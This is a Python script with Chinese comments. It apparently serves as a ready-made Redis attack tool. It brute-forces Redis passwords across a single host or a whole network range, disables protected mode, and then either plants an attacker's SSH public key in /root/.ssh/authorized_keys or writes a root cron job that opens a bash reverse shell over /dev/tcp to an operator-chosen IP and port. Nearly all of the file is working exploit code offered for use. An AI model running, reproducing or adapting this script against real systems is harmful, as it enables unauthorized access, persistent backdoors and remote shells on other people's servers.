#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""  
@Project : project
@File : redis_val.py
@Author : 薄荷糖
@Time : 2025/9/9 18:05  
@脚本说明 : 
"""
import threading
import redis
import ipaddress
import time

def scan_redis(host="127.0.0.1", port=6379, password="", timeout=5):
    try:
        redis_client = redis.Redis(
            host=host,
            port=port,
            password=password,
            db=10,
            socket_timeout=3,
            socket_connect_timeout=timeout)
        if redis_client.ping():
            print(f"[+] {host}:{port} 存在Redis弱口令 -> {password}")
            try:
                # 判断是否存在未授权访问漏洞
                if redis_client.config_set("dir", "/tmp") and redis_client.config_get("dir")["dir"] == "/tmp":
                    # 关闭安全模式
                    redis_client.config_set("protected-mode", "no")
                    print(f"[+] {host}:{port} 可能存在Redis未授权访问漏洞")
                    print("1. 公私钥未授权访问")
                    print("2. 定时任务反弹")
                    option = input("请选择漏洞利用方式:\n")
                    if option == "1":
                        redis_client.config_set("dir", "/root/.ssh")
                        redis_client.config_set("dbfilename", "authorized_keys")
                        key_text = input("请输入公钥:\n")
                        # 保存公钥 注意空天空地
                        redis_client.set("key", f"\\n\\n\n\n\n\n{key_text}\n\n\n\n\\n\\n")
                        if redis_client.save():
                            print("[+] 公私钥未授权访问漏洞利用成功")
                    elif option == "2":
                        reverse_ip = input("请输入反弹IP:\n")
                        reverse_port = input("请输入反弹端口:\n")
                        # 保存反弹 注意空天空地
                        redis_client.config_set("dir", "/var/spool/cron")
                        redis_client.config_set("dbfilename", "root")
                        redis_client.set("cron",
                                         f"\\n\\n\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/{reverse_ip}/{reverse_port} 0>&1\n\n\n\n\\n\\n")
                        if redis_client.save():
                            print("[+] 定时任务反弹未授权访问漏洞利用成功")
            except:
                pass
            redis_client.close()
    except Exception as e:
        pass

def run_redis_for_host_or_cidr(host_input, port, passwds):
    try:
        # 尝试解析为单个 IP
        ip = ipaddress.IPv4Address(host_input)
        print(f"[*] 开始扫描单个 Redis 主机: {ip}")
        for passwd in passwds:
            t = threading.Thread(target=scan_redis, args=(str(ip), port, passwd.strip()))
            t.start()
    except ipaddress.AddressValueError:
        try:
            # 尝试解析为 CIDR 网段，如 192.168.1.0/24
            network = ipaddress.IPv4Network(host_input, strict=False)
            print(f"[*] 开始扫描 Redis 网段: {network}")
            for ip in network.hosts():  # 遍历该网段所有主机 IP
                print(f"[*] 正在扫描 IP: {ip}")
                for passwd in passwds:
                    t = threading.Thread(target=scan_redis, args=(str(ip), port, passwd.strip()))
                    t.start()
        except ipaddress.NetmaskValueError:
            print(f"[-] 错误的 IP 或 CIDR 格式: {host_input}，请使用如 192.168.1.1 或 192.168.1.0/24")
    except Exception as e:
        print(f"[-] 扫描过程中发生未知错误: {e}")

def redis_run(host, port, passwds):
    run_redis_for_host_or_cidr(host, port, passwds)